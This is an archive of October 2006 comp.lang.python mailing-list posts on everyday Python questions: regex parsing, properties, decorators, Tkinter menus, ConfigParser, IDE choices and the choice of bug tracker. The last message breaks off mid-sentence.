	<7xhcyk2u1z.fsf@ruckus.brouhaha.com> <eg17jd$gsr$1@news.albasani.net>
	<mailman.1295.1159996151.10491.python-list@python.org>
	<slrneic180.55m.apardon@rcpc42.vub.ac.be>
	<mailman.1431.1160125174.10491.python-list@python.org>
	<slrneic807.55m.apardon@rcpc42.vub.ac.be>
Message-ID: <463ff4860610060256i149b35d6ge32fad5d7e9f7289@mail.gmail.com>

On 6 Oct 2006 09:21:11 GMT, Antoon Pardon <apardon at forel.vub.ac.be> wrote:
> On 2006-10-06, Fredrik Lundh <fredrik at pythonware.com> wrote:
> > Antoon Pardon wrote:
> >
> >> Is this general rules documeted somewhere? My impression is that readers
> >> of the documentation will treat arguments as keyword arguments unless
> >> this is explicitly contradicted.
> >
> > Sorry, I missed that this was comp.lang.python.alternate.reality.  My
> > mistake.
> >
>
> A personal attack won't make my argument go away. It also doesn't
> answer my question.

Not sure exactly what is going on / being argued about in this thread but HTH :?

http://docs.python.org/tut/node6.html

This doesn't say anything positive or negative about the practice in
question, but does point out that it is possible. I think it is a
reasonable assumption that if it isn't necessary, most users will
elide the keywords.

-- Theerasak


From hanumizzle at gmail.com  Sat Oct  7 02:20:27 2006
From: hanumizzle at gmail.com (hanumizzle)
Date: Sat, 7 Oct 2006 02:20:27 -0400
Subject: problem with split
In-Reply-To: <1160201348.602509.9900@m73g2000cwd.googlegroups.com>
References: <1160194063.352905.106210@e3g2000cwe.googlegroups.com>
	<03eei21fpk5d6s75hb6fnaeruk0o7ob18k@4ax.com>
	<mailman.9.1160200561.11739.python-list@python.org>
	<1160201348.602509.9900@m73g2000cwd.googlegroups.com>
Message-ID: <463ff4860610062320t4b2ae764wa9e3d4ffa2c73005@mail.gmail.com>

On 6 Oct 2006 23:09:08 -0700, MonkeeSage <MonkeeSage at gmail.com> wrote:
>
>
> On Oct 6, 11:33 pm, hanumizzle <hanumiz... at gmail.com> wrote:
> > import re
> >
> > <snip>
> >
> > if line.startswith('instr'):
> >   p = re.compile(r'(\d+)\s+;(.*)$')
> >   m = p.search(line)
> >
> > return (m.group(1), m.group(2))
>
> You probably don't want startswith, in case there are initial spaces in
> the line.

Pardon me; I am not very familiar with file format in question.

> Also, since the regexp is single use, you can just use the
> re.search class method, which will compile the regexp implicitly.

Cool.

> May
> also want to strip the second grouped match, in case of trailing
> spaces.

Cosmetic, but good idea.

-- Theerasak


From rogue_pedro at yahoo.com  Sun Oct 22 18:56:16 2006
From: rogue_pedro at yahoo.com (Simon Forman)
Date: 22 Oct 2006 15:56:16 -0700
Subject: Customize the effect of enumerate()?
In-Reply-To: <1161391519.145292.249510@i42g2000cwa.googlegroups.com>
References: <1161391519.145292.249510@i42g2000cwa.googlegroups.com>
Message-ID: <1161557776.637735.92650@k70g2000cwa.googlegroups.com>

Dustan wrote:
> Can I make enumerate(myObject) act differently?
>
> class A(object):
> 	def __getitem__(self, item):
> 		if item > 0:
> 	            return self.sequence[item-1]
> 	        elif item < 0:
> 	            return self.sequence[item]
> 	        elif item == 0:
> 	            raise IndexError, "Index 0 is not valid."
> 	        else:
> 	            raise IndexError, "Invalid Index."
> 	def __iter__(self): return iter(self.sequence)

That final else clause is a little funny...    What kind of indices are
you expecting that will be neither less than zero, greater than zero,
or equal to zero?

> Why the funny behavior, you ask? For my class A, it doesn't make sense
> to number everything the standard programming way. Of course, if
> someone uses enumerate, it's going to number the items the same way as
> ever. Is there any way to modify that behavior, any special function to
> set? There doesn't appear to be, according to the docs, but it never
> hurts to make sure.

You can write your own enumerate function and then bind that to the
name 'enumerate'.



From h.hasemann at tu-bs.de  Thu Oct  5 13:52:32 2006
From: h.hasemann at tu-bs.de (Henning Hasemann)
Date: Thu, 05 Oct 2006 19:52:32 +0200
Subject: Resuming a program's execution after correcting error
In-Reply-To: <1159961371.260811.239240@c28g2000cwb.googlegroups.com>
References: <1159447986.754423.258550@e3g2000cwe.googlegroups.com>
	<1159483617.159482.169770@i3g2000cwc.googlegroups.com>
	<1159889617.610051.100990@b28g2000cwb.googlegroups.com>
	<1159919897.485421.305490@m73g2000cwd.googlegroups.com>
	<1159961371.260811.239240@c28g2000cwb.googlegroups.com>
Message-ID: <eg3gp2$r5v$1@rzcomm2.rz.tu-bs.de>

Sheldon wrote:
> MRAB wrote:
>> Sheldon wrote:
>>> MRAB wrote:
>>>> Sheldon wrote:
>>>>> Hi.
>>>>>
>>>>> Does anyone know if one can resume a python script at the error point
>>>>> after the error is corrected?
>>>>> I have a large program that take forever if I have to restart from
>>>>> scratch everytime. The error was the data writing a file so it seemed
>>>>> such a waste if all the data was lost and must be recalculated again.
>>>>>

Sorry if this is off-topic here but Dylan (http://www.opendylan.org) is
a nice language (I sometimes like even more than python itself) that
allows you to continue the work right where the exception was thrown.

Henning


From wescpy at gmail.com  Wed Oct 11 13:39:26 2006
From: wescpy at gmail.com (wesley chun)
Date: Wed, 11 Oct 2006 10:39:26 -0700
Subject: ANN: Advanced Python training course, Nov 8-10, San Francisco
Message-ID: <78b3a9580610111039hf332877ke9433cc0760143c6@mail.gmail.com>

FINAL REMINDER... we still have some seats left!

What:  Advanced Python Programming
When:  Nov 8-10 2006
Where: San Francisco (SFO/San Bruno), CA, USA

http://cyberwebconsulting.com (click on "Python Training")

This course, meant to follow our in-depth introduction class, adds new
tools to the Python programmer's toolkit. We explore advanced topics
such as: network programming with sockets, Internet clients, GUI
development, Web/CGI, databases/SQL, Extending Python with C, threads,
etc. Lectures and lab will get attendees comfortable developing
applications in these areas.

Come join us in beautiful Northern California for another rigorous
Python training event taught by software engineer, "Core Python
Programming" author, and technical instructor, Wesley Chun. This
course will take place in San Bruno right near the San Francisco
International Airport at the:

Staybridge Suites
San Francisco Airport
1350 Huntington Ave
San Bruno, CA  94066 USA
+1-650-588-0770

LOCALS: accessible from the entire Bay Area: parking + easy
101/280/380 access, across the street from San Bruno BART and up the
street from San Bruno CalTrain stations

VISITORS: free shuttle to/from the airport, lots of free food and wireless

The cost is $1295 per attendee. Discounts available. For more
information and registration, go to the website above.

2007 CALENDAR: Feb 7-9 (Intro), May 16-18 (Advanced), Aug 20-22 (Intro)

hope to see you in class!
-- wesley
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
"Core Python Programming", Prentice Hall, (c)2007,2001
    http://corepython.com

wesley.j.chun :: wescpy-at-gmail.com
python training and technical consulting
cyberweb.consulting : silicon valley, ca
http://cyberwebconsulting.com


From fredrik at pythonware.com  Wed Oct  4 10:57:54 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 4 Oct 2006 16:57:54 +0200
Subject: How to ask sax for the file encoding
References: <dROUg.62$iP5.51@newsfe07.lga><mailman.1265.1159970009.10491.python-list@python.org>
	<WQPUg.8$Cr3.6@newsfe03.lga>
Message-ID: <eg0i5i$fjd$1@sea.gmane.org>

Edward K. Ream wrote:

> <?xml version="1.0" encoding="utf-8"?>
>
> so it would seem reasonable for sax to be able to return 'utf-8' somehow.

why?  that's an encoding detail, and should be completely irrelevant for
your application.

> Am I missing something?

you're confusing artifacts of an external serialization format with the actual
data model.  don't do that, if you can avoid it.

what's your use case ?

</F> 





From Michael.Coll-Barth at VerizonWireless.com  Wed Oct 11 10:59:20 2006
From: Michael.Coll-Barth at VerizonWireless.com (Michael.Coll-Barth at VerizonWireless.com)
Date: Wed, 11 Oct 2006 10:59:20 -0400
Subject: hundreds of seconds?
In-Reply-To: <NYOBGCEXSMTP21txc1o000d767a@nyobgcexsmtp21.uswin.ad.vzwcorp.com>
Message-ID: <20061011151132.CE9F71E4008@bag.python.org>



> -----Original Message-----
> From: eur.van.andel at gmail.com

> How can I access partial seconds on the system clock?

What is wrong with time.time()?


>>> import time
>>> time.time()
1160578386.0109401
>>> time.time()
1160578386.87324
>>> time.time()
1160578387.5790291
>>> x = time.time()
>>> y = time.time()
>>> z = y-x
>>> z
4.6488111019134521

The difference between x and y is the number of seconds between 'polling's of the OS.  There are some issues with precision.  


The information contained in this message and any attachment may be
proprietary, confidential, and privileged or subject to the work
product doctrine and thus protected from disclosure.  If the reader
of this message is not the intended recipient, or an employee or
agent responsible for delivering this message to the intended
recipient, you are hereby notified that any dissemination,
distribution or copying of this communication is strictly prohibited.
If you have received this communication in error, please notify me
immediately by replying to this message and deleting it and all
copies and backups thereof.  Thank you.



From edreamleo at charter.net  Tue Oct 10 08:29:46 2006
From: edreamleo at charter.net (Edward K. Ream)
Date: Tue, 10 Oct 2006 07:29:46 -0500
Subject: Tkinter: populating Mac Help menu?
Message-ID: <6nMWg.64$ra5.26@newsfe05.lga>

Hello all,



Creating a 'Help' menu 'by hand' on the Mac does not work, or rather, it 
creates a *second* Help menu.



There are hints about how to do this at:



http://tkinter.unpythonic.net/wiki/Widgets/Menu



but so far those hints have not been enough :-) The following statements are 
the result of several happy hours experimenting with dir(obj) for several 
objects obj related to menus.  (Jeeze, I love Python, but you knew that :-)



The url above suggests that the 'official' Mac menu is named x.help, where x 
is the Tk name (a string) of the menubar.  If menubar is the Tkinter menubar 
widget, then I assume that x = menubar._w.



So given x (a string), how does one create a widget whose name is '%s.help' 
% x ?  This is a can of corn in Tk, but nothing comes to mind looking at the 
Tkinter source code.



If my app does *not* create a help menu, then even long after the Mac 
menubar is created, and the official (empty) Help menu is visible, 
menubar.children does *not* contain an entry for the official Mac Help menu. 
Thus, there appears to be no way to populate the official Help menu after 
letting Tkinter create the Help menu.  Naturally, I could be wrong :-)



Thanks for any help you can provide.


Edward
--------------------------------------------------------------------
Edward K. Ream   email:  edreamleo at charter.net
Leo: http://webpages.charter.net/edreamleo/front.html
--------------------------------------------------------------------




From max at alcyone.com  Thu Oct  5 18:59:46 2006
From: max at alcyone.com (Erik Max Francis)
Date: Thu, 05 Oct 2006 15:59:46 -0700
Subject: HOST - Assembla Inc. Breakout - Copyright Violation by Mr. Andy
	Singleton
In-Reply-To: <1160088907.689743.252500@m7g2000cwm.googlegroups.com>
References: <1160082179.215729.164060@c28g2000cwb.googlegroups.com>
	<PUeVg.14060$5o5.12327@tornado.texas.rr.com>
	<1160088907.689743.252500@m7g2000cwm.googlegroups.com>
Message-ID: <xsKdnS78KZr1E7jYnZ2dnUVZ_s6dnZ2d@speakeasy.net>

Ilias Lazaridis wrote:

> please relax and do not speak for all current and future readers
> (archives).

He may not be speaking for all of them, but he's speaking for the vast 
majority.  You are a consummate pest.

-- 
Erik Max Francis && max at alcyone.com && http://www.alcyone.com/max/
  San Jose, CA, USA && 37 20 N 121 53 W && AIM, Y!M erikmaxfrancis
   No one knows what he can do until he tries.
    -- Publilius Syrus


From outstretchedarm at hotmail.com  Fri Oct 27 14:53:39 2006
From: outstretchedarm at hotmail.com (Omar)
Date: 27 Oct 2006 11:53:39 -0700
Subject: More Noob Questions
In-Reply-To: <eh7qh8$jfk$1@cernne03.cern.ch>
References: <1161193249.636093.206690@e3g2000cwe.googlegroups.com>
	<eh7qh8$jfk$1@cernne03.cern.ch>
Message-ID: <1161975219.843117.90220@i3g2000cwc.googlegroups.com>

thank you all for your replies



From hanumizzle at gmail.com  Fri Oct 13 10:45:29 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Fri, 13 Oct 2006 10:45:29 -0400
Subject: Best IDE?
In-Reply-To: <1160750227.507474.134240@b28g2000cwb.googlegroups.com>
References: <1160749749.140484.97990@f16g2000cwb.googlegroups.com>
	<1160750227.507474.134240@b28g2000cwb.googlegroups.com>
Message-ID: <463ff4860610130745y769107f2x4bfa00928ebd7c03@mail.gmail.com>

On 13 Oct 2006 07:37:07 -0700, Bernard <bernard.chhun at gmail.com> wrote:
> IDE : SPE (Stani's python editor) : http://stani.be/python/spe/blog/
> Why?: because this IDE is not complicated. it ships with a debugger, a
> gui designer, a source code checker and a regex console.
> Like: obviously everything
> Hate: sometimes it doesn't start on windows 2000
> Platform: Windows, Linux, Mac
> cost: free but I'll donate some money because I like it

Will definitely give it a look.

-- Theerasak


From odalrick at hotmail.com  Sun Oct 29 03:30:24 2006
From: odalrick at hotmail.com (Odalrick)
Date: 29 Oct 2006 01:30:24 -0700
Subject: Regular Expression help for parsing html tables
In-Reply-To: <1162071780.766299.274830@e64g2000cwd.googlegroups.com>
References: <1162071780.766299.274830@e64g2000cwd.googlegroups.com>
Message-ID: <1162110624.503214.173140@e3g2000cwe.googlegroups.com>


steve551979 at hotmail.com skrev:

> Hello,
>
> I am having some difficulty creating a regular expression for the
> following string situation in html. I want to find a table that has
> specific text in it and then extract the html just for that immediate
> table.
>
> the string would look something like this:
>
> ...stuff here...
> <table>
> ...stuff here...
> <table>
> ...stuff here...
> <table>
> ...
> text i'm searching for
> ...
> </table>
> ...stuff here...
> </table>
> ...stuff here...
> </table>
> ...stuff here...
>
>
> My question:  is there a way in RE to say:   "when I find this text I'm
> looking for, search backwards and find the immediate instance of the
> string "<table>"  and then search forwards and find the immediate
> instance of the string "</table>".  " ?
>
> any help is appreciated.
>
> Steve.

It would have been easier if you'd said what the text you are looking
for is, but I think:

regex = re.compile( r'<table>(.*?text you are looking for.*?)</table>',
re.DOTALL )
match = regex.search( html_string )
found_table = match.group( 1 )

would work.

/Odalrick



From gh at gregor-horvath.com  Tue Oct 17 02:34:38 2006
From: gh at gregor-horvath.com (Gregor Horvath)
Date: Tue, 17 Oct 2006 08:34:38 +0200
Subject: Scope of decorator argument
Message-ID: <eh1thv$675$1@newsreader2.utanet.at>

Hi,

this:

class base(object):
    @adecorator(xy)
    def edit(self):
        print "edit"

class child(base):
    xy = 3


obviously fails because "xy" is not bound at class creation time of the
base object.

One solution could be delegation:

class base(object):
    @classmethod
    def edit(self):
        print "do the real work here"

class child(object):
    xy = 3
    mybase = base

    @adecorator(xy)
    def edit(self, *args, **kwargs):
        self.mybase.edit(*args, **kwargs)

But then I have the ugly boiler plate delegation code in child.

Is there any other solution, probably with metaclasses ?

-- 
  Servus, Gregor


From bearophileHUGS at lycos.com  Mon Oct  2 09:20:31 2006
From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com)
Date: 2 Oct 2006 06:20:31 -0700
Subject: __init__ style questions
In-Reply-To: <1159785721.004647.51490@c28g2000cwb.googlegroups.com>
References: <1159785721.004647.51490@c28g2000cwb.googlegroups.com>
Message-ID: <1159795231.384937.251470@e3g2000cwe.googlegroups.com>

Will McGugan:
> I am writting a Vector3D class as a teaching aid (not for me, for
> others), and I find myself pondering over the __init__ function. I want
> it to be as easy to use as possible (speed is a secondary
> consideration).

If optimizations are less important, then don't use __slots__, it
simplifies OOP management of it.

I think that accepting a single iterable too makes the calling a bit
too much elastic, so it can produce silent problems. Something like
this may be better:

from itertools import imap

class Vector3D(object):
    def __init__(self, *args):
        len_args = len(args)
        if len_args == 3:
            self.x, self.y, self.z = imap(float, args)
        elif len_args == 0:
            self.x = self.y = self.z = 0
        else:
            raise TypeError("...")

If you don't like imap, you can change that code.
If you want to accept single parameter too then you can use something
like:

class Vector3D(object):
    def __init__(self, *args):
        len_args = len(args)
        if len_args == 3:
            self.x, self.y, self.z = imap(float, args)
        elif len_args == 1:
            self.x, self.y, self.z = imap(float, args[0])
        elif len_args == 0:
            self.x = self.y = self.z = 0
        else:
            raise TypeError("...")

If you don't like the explicit raising of an error you may use:

class Vector3D(object):
    def __init__(self, first=None, *other):
        if first:
            if other:
                self.x = float(first)
                self.y, self.z = imap(float, other)
            else:
                self.x, self.y, self.z = imap(float, first)
        else:
            self.x = self.y = self.z = 0

But this last code is less readable.

Bye,
bearophile



From onurb at xiludom.gro  Wed Oct 11 07:28:32 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Wed, 11 Oct 2006 13:28:32 +0200
Subject: How to write Smart Python programs?
In-Reply-To: <452cbe11$1@news.vo.lu>
References: <1160535792.373959.42930@i42g2000cwa.googlegroups.com>
	<452cae13$0$24783$426a74cc@news.free.fr> <452cbe11$1@news.vo.lu>
Message-ID: <452cd561$0$19339$426a34cc@news.free.fr>

Antoine De Groote wrote:
>> Googling for "python is not java" may be a good start. Also, here are 2
>> common C-style smells:
> 
> Ok, the first Google result
> (http://dirtsimple.org/2004/12/python-is-not-java.html) says this
> somewhere:
> 
> "Getters and setters are evil. Evil, evil, I say! Python objects are not
> Java beans. Do not write getters and setters. This is what the
> 'property' built-in is for. And do not take that to mean that you should
> write getters and setters, and then wrap them in 'property'. (1) That
> means that until you prove that you need anything more than a simple
> attribute access, don't write getters and setters. They are a waste of
> CPU time, but more important, they are a waste of programmer time. Not
> just for the people writing the code and tests, but for the people who
> have to read and understand them as well.
> 
> In Java, you have to use getters and setters because using public fields
> gives you no opportunity to go back and change your mind later to using
> getters and setters. (2) So in Java, you might as well get the chore out
> of the way up front. In Python, this is silly, because you can start
> with a normal attribute and change your mind at any time, without
> affecting any clients of the class. (3) So, don't write getters and
> setters."
> 
> For the record, I'm coming from Java, but I have some Python experience
> already.
> 
> Now here's what I don't understand.
> 
> What exactly is meant by (1)? The python library reference includes this
> as an example:
> 
> class C(object):
>     def __init__(self): self.__x = None
>     def getx(self): return self._x
>     def setx(self, value): self._x = value
>     def delx(self): del self._x
>     x = property(getx, setx, delx, "I'm the 'x' property.")
> 
> To me this seems contradictory. Why would one not want to do something
> that is included in the documentation? Or am I just confused? Does
> anybody have an idea how to put me in the right direction?

Have you tried running the above snippet in a python shell ?

>>> c = C()
>>> c.x = 42
>>> c.x
42


> And what does property mean anyway? 

See above. A property is a computed attribute : you access it like a
'data' attribute, but it really uses getters/setters. The point here is
that client code doesn't know nor need to know if it's a plain attribute
or a computed one. This let you change implementation (turn a plain
attribute into a computed one) without breaking the API. So the real
thing is not "don't use getters and setters", but "don't bother with
getters and setters, you'll be able to add them transparently if and
when needed".

As a side node, the getters/setters of a property are often either
marked as implementation (the _leading_underscore convention) or deleted
from the class's dict once the property is created or 'masked' one way
or another so they don't pollute the class's namespace.

Also and FWIW, properties are just one possible application of the
descriptor protocol. If you want to grasp Python's object model, I'd
recommand that you read about descriptors and metaclasses.

-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From robert.kern at gmail.com  Fri Oct  6 09:54:23 2006
From: robert.kern at gmail.com (Robert Kern)
Date: Fri, 06 Oct 2006 06:54:23 -0700
Subject: Automatic import PEP
In-Reply-To: <eg5b4f$29h$1@lust.ihug.co.nz>
References: <mailman.491.1158981359.10491.python-list@python.org>	<ef5lmn$h1k$3@lust.ihug.co.nz>	<mailman.540.1159128784.10491.python-list@python.org>
	<eg5b4f$29h$1@lust.ihug.co.nz>
Message-ID: <eg5n6f$moe$1@sea.gmane.org>

Lawrence D'Oliveiro wrote:
> In message <mailman.540.1159128784.10491.python-list at python.org>, Robert
> Kern wrote:
> 
>> Lawrence D'Oliveiro wrote:
>>> In message <mailman.491.1158981359.10491.python-list at python.org>,
>>> Connelly Barnes wrote:
>>>
>>>> The main point of autoimp is to make usage of the interactive Python
>>>> prompt more productive by including "from autoimp import *" in the
>>>> PYTHONSTARTUP file.
>>> The main problem I have with your idea is that any kind of import
>>> statement with wildcards in it automatically starts my bogosity meter
>>> flashing its "RED ALERT" sign and clanging all its alarm bells.
>> "from ... import *" was *designed* for interactive use, which is exactly
>> what Connelly is suggesting. It's not a bad thing in that context.
> 
> But there is nothing in the language that constrains its use to that
> context, is there?

No. What's your point?

Connelly Barnes states that the main point of autoimp is to make usage of the 
interactive prompt better by including "from autoimp import *" into a 
PYTHONSTARTUP file. That file is only executed for interactive sessions. He's 
not suggesting that people do "from autoimp import *" in their modules.

-- 
Robert Kern

"I have come to believe that the whole world is an enigma, a harmless enigma
  that is made terrible by our own mad attempt to interpret it as though it had
  an underlying truth."
   -- Umberto Eco



From davbrow at gmail.com  Sun Oct  1 23:47:25 2006
From: davbrow at gmail.com (davbrow at gmail.com)
Date: 1 Oct 2006 20:47:25 -0700
Subject: Simple but fast 2D lib for drawing pixels
In-Reply-To: <4520408d$0$26622$91cee783@newsreader01.highway.telekom.at>
References: <1159225798.492198.89880@b28g2000cwb.googlegroups.com>
	<efdftc$9tl$1@wake.carmen.se>
	<1hmhych.1jaomee1msbzi8N%aleax@mac.com>
	<1159706488.576589.82080@i3g2000cwc.googlegroups.com>
	<4520408d$0$26622$91cee783@newsreader01.highway.telekom.at>
Message-ID: <1159760845.490740.267690@m73g2000cwd.googlegroups.com>


Peter Mexbacher wrote:
> Hello,
>
> we want to teach absolute programming newbies
> a first language, so they can start programming
> simple scientific models.
>
> We thought Python would make a good choice for
> a first language; but where pretty stumped when
> we found out that there is no simple way to draw
> pixels to a screen. (This is needed for fractals,
> agent-based models etc -> like Conways Game of Life)
>
> Our requirements:
>
> -) easy to learn (newbs!)
> -) not too slow (after all, the models should simulate something)
> -) python :-)
>
> Any ideas?
>
> Best Regards,
> Peter

Did you look at the turtle module included in the standard
distribution?  It's very simple, made for beginners, and fast enough
for simple plots (just turn off the tracer).  If you intend to
introduce the class to GUI's at some point I believe turtle is built on
the Tkinter canvas widget, which may be suitable as well.

However, if you're teaching scientific programming to more technically
advanced users you might be better off using matplotlib/ipython.  That
will get you a matlab-like enviroment with many advanced capabilities.

-- David



From deets at nospam.web.de  Fri Oct 27 10:53:38 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Fri, 27 Oct 2006 16:53:38 +0200
Subject: Configfile
In-Reply-To: <mailman.1357.1161957760.11739.python-list@python.org>
References: <mailman.1357.1161957760.11739.python-list@python.org>
Message-ID: <4qekreFmtllrU1@uni-berlin.de>

Fulvio schrieb:
> ***********************
> Your mail has been scanned by InterScan MSS.
> ***********************
> 
> 
> HI,
> 
> I've a small doubt regarding the way to save a configuration file on the file 
> manipulated by ConfigParser.
> As far as I could understand this:
> 
> cp = ConfigParser.ConfigParser

You are missing a () here....

> cp.set(section,option)
> 
> will it do the set on the file or do I have to issue a "cp.write(fp)" in order 
> to get it done?
> My tests didn't resulted positively.

What does that mean? Did your head explode, has a giant mammoth stomped 
your PC into oblivion, or has by any chance an exception occured that 
you don't show us?

I guess you've been told to read this here, but just in case it wasn't, 
or you didn't bother to read it:

http://catb.org/esr/faqs/smart-questions.html

Diez


From hg at nospam.com  Fri Oct  6 20:37:55 2006
From: hg at nospam.com (hg)
Date: Fri, 06 Oct 2006 19:37:55 -0500
Subject: How to execute a python script in .NET application
In-Reply-To: <1160175618.029261.43440@i3g2000cwc.googlegroups.com>
References: <1160175618.029261.43440@i3g2000cwc.googlegroups.com>
Message-ID: <lMCVg.8667$Go3.1461@dukeread05>

Chandra wrote:
> Hi,
> 
> Is there a way to execute a python script(file) in ASP.NET application
> (programmatically)??
> 
> Regards,
> Chandra
> 

pythondotnet at python.org ?


From martin at v.loewis.de  Wed Oct 25 17:03:53 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Wed, 25 Oct 2006 23:03:53 +0200
Subject: Is there a python development site for putting up python libraries
	that people might be interest in working on?
In-Reply-To: <mailman.1201.1161807213.11739.python-list@python.org>
References: <mailman.1201.1161807213.11739.python-list@python.org>
Message-ID: <453FD139.80101@v.loewis.de>

Kenneth McDonald schrieb:
> I would like to avoid putting this up on sourceforge as I think it would
> do much better at a site aimed specifically at Python development.

As somebody else said: you should put the code and announce the package
at the Cheeseshop: cheeseshop.python.org.

This doesn't offer "project hosting", i.e. it won't give you mailing
lists, public source code repositories, project websites, etc. If
you need these, you should still go to one of the project hosters
(where sf.net is the most prominent one).

Regards,
Martin


From skip at pobox.com  Sun Oct 15 08:24:25 2006
From: skip at pobox.com (skip at pobox.com)
Date: Sun, 15 Oct 2006 07:24:25 -0500
Subject: Can I set up a timed callback without Tkinter or twisted
	orsomething?
In-Reply-To: <00c601c6f027$e8e74820$03000080@hendrik>
References: <mailman.512.1160840172.11739.python-list@python.org>
	<45310353$1@nntp0.pdx.net> <00c601c6f027$e8e74820$03000080@hendrik>
Message-ID: <17714.10361.631525.397958@montanaro.dyndns.org>


    Hendrik> is there not something based on signals?  - I seem to recall
    Hendrik> some such thing here in another thread.. ( I am running Linux)

Have you tried:

    import signal
    help(signal)

at the interpreter prompt?

Skip


From pydecker at gmail.com  Thu Oct 26 21:34:37 2006
From: pydecker at gmail.com (Peter Decker)
Date: Thu, 26 Oct 2006 21:34:37 -0400
Subject: Handling emails
In-Reply-To: <8764e6hex1.fsf@benfinney.id.au>
References: <mailman.967.1161596728.11739.python-list@python.org>
	<mailman.1090.1161707760.11739.python-list@python.org>
	<GhC%g.18871$UG4.13890@newsread2.news.pas.earthlink.net>
	<200610262031.25448.fulvio@tm.net.my> <87mz7jgrma.fsf@benfinney.id.au>
	<ehqbta$378$1@sea.gmane.org> <8764e6hex1.fsf@benfinney.id.au>
Message-ID: <ca55a9900610261834m8046fcfob6c82ebb8c4982be@mail.gmail.com>

On 10/26/06, Ben Finney <bignose+hates-spam at benfinney.id.au> wrote:

> > I agree it's a pain, but Fulvio may not have it in his power to
> > switch the header off. Mail admins do some incredibly stupid things.
>
> There is always the option to not send messages to this list using
> that mail server. I don't care what option is taken, so long as the
> useless and obnoxious headers on his messages stop.
>
> --
>  \     Lucifer: "Just sign the Contract, sir, and the Piano is yours." |
>   `\     Ray: "Sheesh! This is long! Mind if I sign it now and read it |
> _o__)                             later?"  -- http://www.achewood.com/ |
> Ben Finney
>

Ah, but obnoxious footers are OK, I guess.

-- 

# p.d.


From bignose+hates-spam at benfinney.id.au  Wed Oct  4 18:59:02 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Thu, 05 Oct 2006 08:59:02 +1000
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<1159984216.052926.207290@i42g2000cwa.googlegroups.com>
Message-ID: <87psd7elhl.fsf@benfinney.id.au>

"fuzzylollipop" <jarrod.roberson at gmail.com> writes:

> Giovanni Bajo wrote:
> > the "PSF infrastracture committee", after weeks of evaluation,
> > recommends using a non open source tracker (called JIRA - never
> > heard before of course) for Python itself.
> >
> > Does this smell "Bitkeeper fiasco" to anyone else than me?
>
> Jira is given away for free to open source projects that want to use
> it.

Just as Bitkeeper was.

"Given away for free" has nothing to do with the criteria being
discussed here.

-- 
 \         "My, your, his, hers, ours, theirs, its. I'm, you're, he's, |
  `\                      she's, we're, they're, it's."  -- Anonymous, |
_o__)                                            alt.sysadmin.recovery |
Ben Finney



From deets at nospam.web.de  Sat Oct 21 04:57:25 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Sat, 21 Oct 2006 10:57:25 +0200
Subject: FOR statement
In-Reply-To: <mailman.885.1161418309.11739.python-list@python.org>
References: <1161355135.268792.220290@f16g2000cwb.googlegroups.com>	<453911b6$0$19616$88260bb3@free.teranews.com>	<1161417033.963163.275300@i3g2000cwc.googlegroups.com>
	<mailman.885.1161418309.11739.python-list@python.org>
Message-ID: <4pu5nkFkjqvpU1@uni-berlin.de>

Theerasak Photha schrieb:
> On 21 Oct 2006 00:50:34 -0700, Ant <antroy at gmail.com> wrote:
> 
>> But there's a good reason not to. Try:
>>
>> printreverse(range(1000))
>>
>> Recursion has a maximum depth (of 1000 by default) in Python.
> 
> I guess Python isn't tail-recursive then?

To complement my other post: while it isn't tail recursive and can't be 
so automatically, there do exist recipes to make certain functions tail 
recursive by hand:

http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/474088


Diez


From bignose+hates-spam at benfinney.id.au  Mon Oct  9 19:18:29 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Tue, 10 Oct 2006 09:18:29 +1000
Subject: OT: Sarcasm and irony (was: Dive Into Java?)
References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com>
	<4out4fFgdgouU1@individual.net> <4ov1acFgfmpmU1@uni-berlin.de>
	<4ov2eeFgh8t6U1@individual.net>
Message-ID: <87y7rp9iyi.fsf_-_@benfinney.id.au>

Bjoern Schliessmann <usenet-mail-0306.20.chr0n0ss at spamgourmet.com> writes:

> E. g. [in Java there is] no operator overloading, but "+"
> concatenation of strings. What if you'd like to implement your own
> string-derived class? Ah, never mind. Operator overloading is
> bad(tm) ;) <= Irony, definitely

Definitely? That one strikes me more as sarcasm.

It would have been "irony" if, in attempting to combat operator
overloading, you instead demonstrated by your very efforts that it was
essential and beneficial.

(Yes, everything Alanis Morrissette complains of in her song "(Isn't
It) Ironic" is not at all ironic, but is merely unfortunate. There's a
possibility she was aware of this:
<URL:http://en.wikipedia.org/wiki/Ironic_(song)#Lyrics_controversy>)

(good sigmonster, have a cookie)

-- 
 \         "I'm beginning to think that life is just one long Yoko Ono |
  `\   album; no rhyme or reason, just a lot of incoherent shrieks and |
_o__)                                   then it's over."  -- Ian Wolff |
Ben Finney



From sjdevnull at yahoo.com  Thu Oct  5 08:14:34 2006
From: sjdevnull at yahoo.com (sjdevnull at yahoo.com)
Date: 5 Oct 2006 05:14:34 -0700
Subject: dictionary of list from a file
In-Reply-To: <eg2lkc$ipu$02$2@news.t-online.com>
References: <1159967361.355323.201050@m7g2000cwm.googlegroups.com>
	<mailman.1262.1159968035.10491.python-list@python.org>
	<1159992675.176015.248850@c28g2000cwb.googlegroups.com>
	<mailman.1308.1160013552.10491.python-list@python.org>
	<1160042610.560396.103440@k70g2000cwa.googlegroups.com>
	<eg2lkc$ipu$02$2@news.t-online.com>
Message-ID: <1160050474.785679.47060@h48g2000cwc.googlegroups.com>

Peter Otten wrote:
> sjdevnull at yahoo.com wrote:
>
> > for line in (l.rstrip("\n") for l in file("test.txt", "rU") if l[0] !=
> > "\n"):
> > \001\001\001k,\001v\001=\001line.split()
> > \001\001\001d.setdefault(k,\001[]).append(v)
>
> Note that this snippet will produce the same output with or without the
> rstrip() method call.

Wow. That's not at all what I expected.  I would've thought I'd see:
